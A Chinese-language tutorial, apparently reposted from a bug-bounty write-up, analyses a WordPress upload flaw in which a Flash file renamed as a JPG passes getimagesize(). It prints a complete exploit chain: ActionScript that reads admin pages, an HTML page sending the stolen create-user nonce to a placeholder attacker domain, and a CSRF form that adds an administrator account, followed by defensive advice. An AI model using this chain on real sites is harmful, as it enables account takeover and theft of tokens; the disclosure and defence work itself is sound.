看我如何挖掘到WordPress漏洞并最终拿下$1337的赏金
字数 1223 2025-08-18 11:37:11

WordPress文件上传漏洞分析与利用教学

漏洞背景

WordPress作为全球最流行的开源CMS系统,拥有数百万用户和4600万次下载量。其安全性至关重要,因为一旦被攻破将影响大量网站。本教学将详细分析一个通过文件上传功能实现权限提升的漏洞。

技术原理

核心漏洞点

漏洞利用的是WordPress文件上传功能中对getimagesize()函数的错误使用:

  1. getimagesize()函数可以处理多种文件类型,包括SWF(Flash)文件
  2. WordPress仅通过该函数验证文件类型,而未进行更严格的检查
  3. 攻击者可以将恶意SWF文件伪装成JPG文件上传

文件上传流程

WordPress使用以下函数验证上传文件:

  • getimagesize() - PHP内置函数
  • wp_check_filetype_and_ext() - WordPress函数
  • wp_check_filetype() - WordPress函数

这些函数主要依赖文件头信息而非扩展名来判断文件类型。

漏洞利用步骤

1. 准备恶意Flash文件

创建一个简单的Flash文件,包含以下ActionScript代码(wp_poc.as):

package {
    import flash.display.*;
    import flash.external.ExternalInterface;
    import flash.net.*;
    import flash.system.Security;
    
    public class wp_poc extends Sprite {
        public function wp_poc() {
            Security.allowDomain("*");
            var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
            var req:URLRequest = new URLRequest(paramObj.input);
            var loader:URLLoader = new URLLoader();
            loader.dataFormat = URLLoaderDataFormat.TEXT;
            loader.addEventListener(Event.COMPLETE, onComplete);
            loader.load(req);
        }
        
        private function onComplete(event:Event):void {
            ExternalInterface.call("stealtoken", event.target.data);
        }
    }
}

使用Flex SDK编译:

mxmlc.exe wp_poc.as

2. 伪装文件类型

将生成的wp_poc.swf重命名为wp_poc.jpg,保留SWF文件头(CWS)但使用JPG扩展名。

3. 上传文件

以"作者"权限登录WordPress,访问/wp-admin/media-new.php上传伪装的文件。

4. 创建攻击页面

编写HTML文件(steal.html)触发漏洞:

<html>
<head>
<title>WP PoC!</title>
<script>
function stealtoken(data) {
    var str = data;
    var n = str.lastIndexOf('wpnonce_create-user');
    var result = str.substring(n + 28, n+28+10);
    alert('Your token is ' + result);
    document.location="http://ATTACKER-DOMAIN/wordpress_csrf.php?token="+result;
}
</script>
<object id="myObject" width="100" height="100" 
        allowscriptaccess="always" 
        type="application/x-shockwave-flash" 
        data="http://target-site/wp-content/uploads/2017/10/wp_poc.jpg?input=http://target-site/wp-admin/user-new.php">
<param name="AllowScriptAccess" value="always">
</object>

5. CSRF攻击

创建CSRF攻击页面(wordpress_csrf.php):

<form method="POST" name="csrf" action="http://target-site/wp-admin/user-new.php">
    <input type="hidden" name="action" value="createuser" />
    <input type="hidden" name="_wpnonce_create-user" value="<?php echo $_GET['token'];?>" />
    <input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/user-new.php" />
    <input type="hidden" name="user_login" value="Attacker" />
    <input type="hidden" name="email" value="attacker@example.com" />
    <input type="hidden" name="first_name" value="evil" />
    <input type="hidden" name="last_name" value="hacker" />
    <input type="hidden" name="url" value="" />
    <input type="hidden" name="pass1" value="P@ssw0rd123" />
    <input type="hidden" name="pass2" value="P@ssw0rd123" />
    <input type="hidden" name="send_user_notification" value="1" />
    <input type="hidden" name="role" value="administrator" />
    <input type="hidden" name="createuser" value="Add New User" />
</form>
<script>document.forms["csrf"].submit();</script>

漏洞利用流程

  1. 攻击者上传伪装成JPG的SWF文件
  2. 受害者访问恶意HTML页面
  3. 页面加载伪装的SWF文件
  4. SWF文件读取WordPress后台页面(如同源请求)
  5. 提取CSRF token并发送给攻击者
  6. 攻击者使用token创建管理员账户

防御措施

  1. 文件验证改进

    • 不应仅依赖getimagesize()验证文件类型
    • 应检查文件实际内容与扩展名是否匹配
  2. 权限控制

    • 限制低权限用户上传特定文件类型
    • 对上传文件进行内容扫描
  3. 安全配置

    • 使用CDN托管用户上传内容
    • 设置正确的Content-Type头
  4. WordPress修复

    • 该漏洞已被WordPress官方修复(CVE已分配)
    • 建议保持WordPress版本最新

总结

本漏洞展示了如何通过精心构造的文件上传绕过WordPress的安全检查,最终实现权限提升。关键点在于:

  • 利用getimagesize()对SWF文件的识别特性
  • 通过伪装文件扩展名绕过上传限制
  • 利用同源策略和Flash的脚本访问权限窃取敏感信息

此案例强调了严格文件验证的重要性,以及不能仅依赖客户端或简单服务器端检查来保证安全性。

WordPress文件上传漏洞分析与利用教学 漏洞背景 WordPress作为全球最流行的开源CMS系统,拥有数百万用户和4600万次下载量。其安全性至关重要,因为一旦被攻破将影响大量网站。本教学将详细分析一个通过文件上传功能实现权限提升的漏洞。 技术原理 核心漏洞点 漏洞利用的是WordPress文件上传功能中对 getimagesize() 函数的错误使用: getimagesize() 函数可以处理多种文件类型,包括SWF(Flash)文件 WordPress仅通过该函数验证文件类型,而未进行更严格的检查 攻击者可以将恶意SWF文件伪装成JPG文件上传 文件上传流程 WordPress使用以下函数验证上传文件: getimagesize() - PHP内置函数 wp_check_filetype_and_ext() - WordPress函数 wp_check_filetype() - WordPress函数 这些函数主要依赖文件头信息而非扩展名来判断文件类型。 漏洞利用步骤 1. 准备恶意Flash文件 创建一个简单的Flash文件,包含以下ActionScript代码( wp_poc.as ): 使用Flex SDK编译: 2. 伪装文件类型 将生成的 wp_poc.swf 重命名为 wp_poc.jpg ,保留SWF文件头(CWS)但使用JPG扩展名。 3. 上传文件 以"作者"权限登录WordPress,访问 /wp-admin/media-new.php 上传伪装的文件。 4. 创建攻击页面 编写HTML文件( steal.html )触发漏洞: 5. CSRF攻击 创建CSRF攻击页面( wordpress_csrf.php ): 漏洞利用流程 攻击者上传伪装成JPG的SWF文件 受害者访问恶意HTML页面 页面加载伪装的SWF文件 SWF文件读取WordPress后台页面(如同源请求) 提取CSRF token并发送给攻击者 攻击者使用token创建管理员账户 防御措施 文件验证改进 : 不应仅依赖 getimagesize() 验证文件类型 应检查文件实际内容与扩展名是否匹配 权限控制 : 限制低权限用户上传特定文件类型 对上传文件进行内容扫描 安全配置 : 使用CDN托管用户上传内容 设置正确的Content-Type头 WordPress修复 : 该漏洞已被WordPress官方修复(CVE已分配) 建议保持WordPress版本最新 总结 本漏洞展示了如何通过精心构造的文件上传绕过WordPress的安全检查,最终实现权限提升。关键点在于: 利用 getimagesize() 对SWF文件的识别特性 通过伪装文件扩展名绕过上传限制 利用同源策略和Flash的脚本访问权限窃取敏感信息 此案例强调了严格文件验证的重要性,以及不能仅依赖客户端或简单服务器端检查来保证安全性。